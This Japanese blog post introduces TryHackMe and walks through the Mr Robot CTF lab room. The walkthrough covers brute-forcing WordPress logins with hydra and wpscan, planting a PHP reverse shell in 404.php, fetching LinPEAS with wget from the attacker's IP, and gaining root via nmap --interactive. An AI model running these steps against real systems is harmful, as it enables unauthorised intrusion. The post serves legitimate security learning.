秋のブログ週間2024 3本目です。
はじめに
ペンギンになりたいエンジニアの島ノ江です。普段は Cyber Security Innovation Group というセキュリティチームに所属していて、FutureVuls という脆弱性管理サービスの開発・営業をしています。
本記事では以下の内容を扱います:
- セキュリティ学習プラットフォームについて
- TryHackMe のサービス概要
- HackTheBox との比較
- 実際に Room を攻略してみる(Walkthrough)
セキュリティ学習プラットフォームについて
脆弱性は「攻撃」と「防御」という言葉を伴います。ハッカーは外部組織の脆弱性を突いて、ランサムウェアによる身代金の要求や情報漏洩などの攻撃をしかけます。逆に組織のセキュリティチームは様々な手法で攻撃を検知・防御し、組織の情報資産を安全に守るよう努めます。
このような脆弱性の攻撃や防御の手法について、例えば SQL Injection や XSS などの用語を、基本情報技術者試験や参考書などで見かけることがあると思います。しかし、これらの技術を試してみるという実践経験はなかなか積めず、知識で留まっていることは多いと思います。
悪用の意図の有無によらず、他社の所有するサーバへ上記のような攻撃行為を試行することは「不正アクセス行為の禁止等に関する法律」などに抵触する恐れがあります。絶対にやめましょう。
そのようなお悩みを解決するために、安心安全にサイバーセキュリティのスキルを向上させることができるオンライン学習プラットフォームの1つが TryHackMe です。
よく比較される類似サービスに HackTheBox があります。技術ブログでは過去に HackTheBox の問題を解いてみた記事がありました(参考)。
しかし TryHackMe に関するブログや、最近このようなセキュリティ系の記事が無かったこと、最近私も TryHackMe に課金して利用していることから、今回このテーマで記事を書こうと思い寄稿しました。
サービスの概要紹介
TryHackMe には無料で利用できる Room があります。有料プラン(月間or年間)を契約してより深く学習していくこともできます。
TryHackMe は大きく Learn と Practice に分かれています。Learn は
- Module:Nmap などのツールや暗号技術などの概念を学ぶ Room の集まり
- Learning Path:特定の目的に沿って一連の Module に取り組む学習コース
からなります。Learning Path で1つずつステップアップすることも、Module 単位でツールをつまみ食いすることもできます。以下の画像は Learning Path の一部です。Penetration、SOC、Red Teaming などがあります。
Module は いくつかの Room で構成されています。各 Room ではツールの概要やオプションについての解説があり、その後学んだ内容を活かして Question に回答していきます。
例として、後の Walkthrough でも登場する「Hydra」というツールの Room を見てみます(これは Offensive Security Tooling という Module に含まれています)。
Task 1
(Hydra Introduction)では Hydra というツールの概要が紹介されています。その後の Task 2
(Using Hydra)で、この Hydra を使って実践的な学習をしていきます。「Start Machine」のボタンを押すと、ツールで攻撃をしても問題ない仮想サーバが立ち上がり、実際に Hydra などのツールを試すことができます。
学んだ内容を元に、指示に従ってツールを実行、Question で指定されている flag を狙います(このような攻略対象のサーバに隠された flag を取得するコンテストが CTF(Capture The Flag)です)。Question 全部に正解すれば、その Room はクリアです!
TryHackMe にはブラウザ上で仮想環境を作れる AttackBox という機能もあるので、Windows ユーザなどでも学習したコマンドをブラウザでちょっと試す、ということが可能です。なお、VirtualBox などでローカルに環境を構築し、VPN 接続する方法もあります。
このように、各ツールについてかなり基礎的なところから、実際に手を動かして学ぶことができるようになるのが TryHackMe の特長だと思います。
TryHackMe の良い点と HackTheBox との比較
TryHackMe の良い点
- Learning Path が整備されていて、各種ツールの使い方を個別に学べる Room がある
- 個人的にはここがよく、学習ハードルを大きく下げてくれて継続しやすいと思います
- 普段業務で触れていない内容を、業務終わりなどに自分で調べて学習していくのは、興味があるといえど負荷が高いです
- Practice で詰まったときも、「分からなくなったらここに戻ってこよう」と考えて気楽に取り組めます
- Linux の CLI 練習や Windows の基本、TCP/IP の仕組みなど、かなり基礎的な内容も扱っています
- この辺は特に未経験の新人の方には嬉しい内容だと思います
- 既に知っている内容はスキップしたり、英語で学習する機会として利用できます
- 深く学習するには有料プランの契約が必要ですが、年末には年間プランが20%引きになるキャンペーンもやっており、お得に始められます
HackTheBox の良い点
メインテーマから外れるのと TryHackMe より利用していないので、参考程度で。
- より高難度な技術や問題は HackTheBox の方が多いように思います
- 完全上位互換ではないです
- より技術を深く理解したい場合は HackTheBox の方が良さそうです
私個人の感想としては、勉強になぞらえると
- TryHackMe は教科書+章末問題・問題集
- HackTheBox は参考書・問題集
のような感覚です。初めてこの世界に触れるのであれば、難易度・とっつきやすさから TryHackMe が個人的には良いと思います。TryHackMe で基礎的な知識を習得したので次のステップに進みたい、または基礎的な部分は自分で調べられる、という人は HackTheBox を選択すると良いでしょう。
Walkthrough の前に軽くまとめ
せっかくなので TryHackMe の Practice にある Room をこの後攻略していきます。CTF には Walkthrough という、自分がどのように解いていったのかを書いて発信する文化があります。解き終わった後に他の人の手順を読むと、新たな発見や知識を得られることがあります。
この後の Walkthrough は、CTF を知らないと読むのが大変かもしれないです。流し読みでも良いと思うので、「脆弱性が存在するとこんなことが簡単にできるのか」「CTF面白いな」「セキュリティについて知らないで実装するの怖いな」といった感想を抱いてもらえるだけでも嬉しいです。
ネットワークやセキュリティの活きた知識を駆使しながらパズルを解いていくのが CTF の楽しさかなと思います。私もまだ CTF を初めて少ししか経っていないので、知らない知識は山ほどありますし、Room 攻略が全然できないときは悔しく感じます。しかし、Lerning Path での学習では、普段業務では得られない知識も得られ、実際に Room で覚えたことを使って先に進めたときは新鮮な気持ち良さを感じられます。パズルや研究が好きな人には向いているかもしれません。
私は新卒入社での研修後、いきなりセキュリティのチームに配属されました。私もその一人でしたが、馴染みのない人は「セキュリティ系の人たちって普段どんなことしてるんだ?」という疑問を抱くことがあると思います。その点で、 CTF はサイバー攻撃での攻撃・防御を学習する1つの手法として、セキュリティを身近に感じられるものだと思います(もちろん、セキュリティ系の業務は他にも山ほどあります)。「少し新しい世界に触れてみよう」くらいの軽い気持ちででも、CTF を始めてもらえたら幸いです(そして私と一緒に勉強会をしましょう。仲間募集中です。)
先日、株式会社ラック様が公開している「サイバーセキュリティ仕事ファイル」という資料を拝読しました。セキュリティ系の仕事にはどのようなものがあるのか、どのような業務を行っているのか、などを広く知ることができました。上述のような疑問を抱いている方々の参考になれば幸いです。
では、ここからは Learning から Practice に移り、実際のサーバ攻略をしていきます。
Linux や CTF に馴染みのない方は、ここから先は読み流す程度でも構いません。
Room 情報
今回は難易度が Medium のこちらの Mr Robot CTF の Room を攻略していきます。
使用している環境は、VirtualBox 上に構築した Kali Linux で、~/tryhackme/MrRobotCTF
という作業ディレクトリ上で作業しています(AttackBox 上ではなく、openvpn
で接続しています)
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
Walkthrough
Questions は3つありますが、どれも What is key 1?
といった形式で、特に調べる場所のヒントはなさそうです。
Walkthrough の途中で IP の値が変わっています。これは時間を跨いだせいで、サーバが再起動したためです。Walkthrough だけ読むとスラスラと解いてるように見えるかもしれませんが、裏では試行錯誤したり情報を調べたりと、ずっと多くの時間がかかってます。
ああ、苦戦したんやな(笑)と思ってください。
まずは恒例 nmap
でターゲットの偵察をしていきます。
使用コマンドは使ってるうちに段々と慣れて覚えられます。忘れた場合は潔く参考書を開いたりネットで調べます。どのようなツールがあり、それで何ができるのかを覚えておくことが大事で、あとは適宜 option を調べてなんとかなります。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
偵察の結果、以下のことが分かりました。
- ssh の port(22) が closed になっている
- http の port(80) が open になっている
- ssl/http の port(443) が open になっている
ひとまず http に chrome からアクセスしてみます。
すると、かっちょいい画面が起動しました。シェルにカタカタと文字が入力され、映画のようなわくわく感があります。しばらくするとコマンドの入力を促されました。
とりあえずコマンドを入れてみます。しかし id
や ls
、pwd
など基本的な Linux コマンドは使えなさそうです(Command not recognized. Type help for a list of commands.
と表示されます)
じゃあ上から順にいくしかないか… ということで、最初の prepare
を実行。するとまた別の映像が流れ始めます。
でもよくわからない。developer tool を覗いてみたが、YOU ARE NOT ALONE
というメッセージが出ているだけでまだ何も分からない。「WE ARE FSOCIETY」って一体なんでしょうか…
次の fsociety
を実行してみます(最初のログイン画面にも出てた単語なので気になります)。すると /fsociety
のパスに移動して動画が流れました。画像は省略しますが、ARE YOU READY TO JOIN FSOCIETY?
というまたしてもよくわからないメッセージが出ます。同じく他のコマンドでも、パスが切り替わり動画や写真が出てくるが、ぱっと見で使える情報はなさそうですね。攻略後に種明かしができると信じて、いったんスルーします。
公開されている情報の中には使えそうなものはありませんでした。次に、Web サイトに他の公開情報がないかを調べてみます。gobuster
や dirb
というツールで調べられますが、gobuster
の方が高速に動作してくれるのでこちらを使います(某ゴースト退治の映画っぽさもあって好きです)。wordlist(パスの候補となる単語集)に common.txt を使って調査。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
色々とパスが見つかりました。robots.txt(隠したいファイル名を記載することでクローラの検索から除外できるファイル) が見えるので cat してみましょう。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
1つ目の key が見つかりました。このパスに移動すれば key をゲットです。
併せて fsocity.dic
という気になるファイルもあります。.dic
というのはバイナリ形式の辞書ファイルらしいです。(ちなみに、あとでブルートフォース攻撃をするタイミングがあり、このファイルを使います)。
/readme
を覗くと以下のような内容が書かれていました。
I like where you head is at. However I'm not going to help you. |
煽られました(笑)。CTF ではこの手の煽り文句を見つけられることがあります。出題者が「見つけてくれるかな?」と埋め込んだ隠しネタを見つけたときは嬉しいですね。
さらに探索を続けてみます。gobuster の結果を見るに、これは WordPress で構築されているようです。
ひとまず 301
のそれっぽい /wp-admin
のパスを見に行ってみます。するとログインページにリダイレクトされました。
認証回り、SQL Injection を狙えるかなという期待を抱きつつ、ひとまずダミーデータで認証の挙動を確認してみます。 Username: test, Password: password
の情報で認証をトライ(画像を載せてませんが、パスワードを入れないと ERROR: The password field is empty.
というエラーが出ました)すると、 ERROR: Invalid username. Lost your password?
という親切なエラーメッセージが。Username
のフィールドが異なるようですね。
以下でやるように、「Username
が異なります」 という詳細なエラーを返すと、「Username
が正しいか」という判断が可能になり、ブルートフォース攻撃が可能となる脆弱性を埋め込むことになります。
「Username
または Password
が異なります」や「認証情報が違います」といった汎用的な表現に留めましょう。
developer tool で確認してみると、log: test, pwd: password
というパラメータで POST していることが分かりました。
この log
の候補となる情報がないか調べてみます。
ブルートフォース攻撃をしたくなったので、先ほど見つけた辞書ファイル fsocity.dic
を取得してきます。しかしこのファイル、やけに重い。ダウンロードに2分もかかってます。確認すると 7.0 MB もあります。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
このまま攻撃に使うと時間がかかるので、中身を less
で確認してみます。すると、辞書ファイルに重複する内容が多いことに気が付きます。調べると、全単語が 75 行ずつ重複して存在するようです。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
そのまま使うのは時間の無駄なので圧縮します。すると 96 KB まで圧縮できました(約75分の1)
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
では攻撃をしていきます。 hydra
というブルートフォース攻撃ができるツールで調べます。まずは pwd:test
で固定、コマンドはこちらを参考にしました。実行には25分かかりましたが、気長に待ちましょう。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
Elliot
, elliot
, ELLIOT
という3つの Username
が正しいものとわかりました。大文字小文字の区別はしていないようです。
試しに Elliot
でログインしようとすると、ERROR: The password you entered for the username Elliot is incorrect. Lost your password?
というまたしても親切なエラーが返ってきます。
パスワードについてもブルートフォース攻撃で調べられそうです。今回はこのサイトが WordPress のものとわかっているので、これに特化した wpscan
というツールを使います。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
パスワードが分かりました。得られた認証情報でログインしてみます。
ログインに成功しました!まずは WordPress のサイトへの侵入成功です。画面で触れる箇所が多く、調べたら色々と情報や脆弱性が出てきそうです。今回ログインしたユーザは Elliot Alderson さんという方のようです。メールアドレスや顔写真などの個人情報も出てきました。怖いですねぇ。
次は更に内部に入りこむべく、この WordPress サーバ(OS側)への侵入を試みます。WordPress 上を探索してみると、Appearance > Editor
に php のコードが色々とあり、編集ができることに気が付きます。リバースシェルを仕込んで実行させることで、シェルを取得できそうです。
リバースシェルは、ターゲットから自分のローカルマシンに向けた接続を行う仕組みです。サーバは基本的に外部から内部への通信は厳しく制限しますが、内部から外部への通信は比較的ゆるい場合が多いです。
そこで、ローカルマシンではあるポート(今回は12345
) で接続を Listen しておきます。ターゲットマシンに侵入後、リバースシェルのプログラムにこのIP・ポートへ接続する設定をして、このプログラムが実行されるように仕込みます。プログラムが実行されると、ローカルマシンへの接続が発生して、ターゲットマシンのシェルを取得できます。
Kali にもともとある php のリバースシェルのスクリプトをコピーしてきます(ちなみに私は php のコードは読めません…)
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
ファイルの中身で「CHANGE THIS」とコメントされている箇所が2か所あるので、そこを変更します。 $ip(自分のローカルマシンのIP)
と $PORT(適当に12345)
を設定し、保存します。編集したプログラム全体をべろっとコピーして、404.php
を更新します。File edited successfully.
と出て無事に更新完了です。
ローカルマシン で別タブを開き、 port 12345 で Listen しておきます(nc -lnvp 12345
)。その状態で、ブラウザで /404.php
にアクセスすると… WordPress サーバのシェルを取得できました!(whoami
で daemon と出てますね)
cat /etc/passwd
で他にどのようなユーザがいるのか調べます。robot
というユーザは問題名からしても気になりますね。
$ cat /etc/passwd |
robot に探りを入れてみると、2つ目の key を発見しました。しかし、key の参照権限はファイル所有者の robot しかないようです。
$ ls -l /home/robot/ |
でも password.raw-md5
という気になる名前をしたファイルは、その他のユーザにも参照権限があるようです。
$ cat /home/robot/password.raw-md5 |
MD5 とはハッシュ関数の1つで、128bitのハッシュ値を生成します。しかし、MD5 には比較的簡単にハッシュ衝突を計算できるという脆弱性があり、安全性の観点から暗号化には利用されません。
このようなパスワードの解読には JohnTheRipper
というツールが使えます。password.raw-md5
の中身を md5.txt
というファイルに保存して、 JohnTheRipper で解読してみると、一瞬でパスワードを取得できました。
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF] |
robot ユーザでログインを試みます。が、terminal から実行してねと怒られました(シェルを取得した際にも、tty にアクセスできないと出てましたね)。
$ su - robot |
そこで、ログインできるよう新たにシェルを立ちあげます。Python コマンドが実行できそうなので、以下のようにシェルを立ち上げるコマンドを実行します。その後またログインしてみると、 robot ユーザでログインに成功しました!
これで key-2-of-3.txt
もゲットできます。
$ python -c 'import pty; pty.spawn("/bin/sh")' |
robot ユーザでのログインに成功したので、次は権限昇格を狙います。
このように、取得したログイン情報を足掛かりにして別のアカウントへ侵入することを横展開やラテラルムーブメントなどと呼びます。上位の権限を取得できる場合は権限昇格と呼びます。
robot では sudo でのコマンド実行はできないようです。
$ sudo -l |
そこで、 LinPEAS
というツールを使って、特権昇格に使えそうな設定不備がないかを調べてみます。
LinPEAS は侵入後に特権昇格を狙うための設定不備がないかを表示してくれる強力なツールです。シェルを取得できている場合、スクリプトを持ってくるだけで実行でき、様々な情報を見やすい形で表示してくれます。マスコットがかわいいのに、強力で恐ろしい。
ローカルマシンで別タブを開き、 cp /usr/share/peass/linpeas/linpeas.sh .
でスクリプトをコピーしてきます。ターゲットマシンで取得したいので python3 -m http.server 12346
でサーバを起動します。
ターゲットマシンからローカルマシンのIPとポートを指定して wget
でアクセスし、スクリプトを取得します(なお、/home/robot
配下では書き込み権限がなくエラーになったので、 /tmp
に移動しています)
linpeas.sh
に実行権限を付与したら、これを実行して脆弱性を探してみます。
$ wget 10.4.108.90:12346/linpeas.sh |
すると、ごろごろと脆弱性が出てきます。ざーっと結果を読んでいくと、特に SUID に関する部分で、nmap
を用いた脆弱性があることが見つかりました(LinPEAS は画像のように色付きで注目箇所が分かりとても便利です)
「nmap SUID」と検索したら出てきたこちらのサイトによると、バージョン 2.02~5.21 の間では、nmap
には --interactive
というオプションがあるようです。nmap --interactive
を実行すると、root 権限のシェルにアクセスできるようです(恐ろしい!)
シェルに入って、!ls /root
を実行したら最後の key3-of-3.txt もゲットできました。Root 権限でのシェルも手に入れたので、これにて Room 攻略完了です!お疲れさまでした!!
$ nmap --interactive |
攻略の整理
今回のフラグ獲得の手順と使ったツールをまとめます。Easy で出てくる一般的なツールを駆使して解き進めるので、比較的とっつきやすい Room だったと思います。
- ポートスキャンで偵察(
nmap
) - Web サイトの調査(
gobuster
) - WordPress サイトの調査(
hydra
,wpscan
) - 初期侵入の実施(reverse shell)
- 権限昇格の調査(
JohnTheRipper
, LinPEAS) - 権限昇格の実行(
nmap --interactive
)
攻略後談
今回の Room は 2015 年にアメリカで大ヒットを記録した「Mr. Robot」というドラマが元ネタのようです。有料ですが、字幕版が Prime Video で公開されていますね。有志による Wiki も公開されていて、物語やキャラの情報も色々と知ることができます。
攻略の途中で出てきた単語は以下のような繋がりがあるようです。
- Elliot というユーザ名は、このドラマに登場する主人公、天才ハッカーのエリオット・オルダーソン
- Mr. Robot は世界最大の利権企業を崩壊させようと目論む革命家
- fsociety は Mr. Robot やエリオットが率いるハッカー集団の名称
ドラマのテーマや概要を知ると、最初 http で接続したときに表示された画像や動画の意味が分かるようになりました。ドラマを見たらさらに理解が進みそうですね。
CTF には今回のような元ネタがある Room もあるので、攻略後に調べると「へ~」という発見がって面白い点です。
以上で Walkthrough 、そして本ブログを終えます。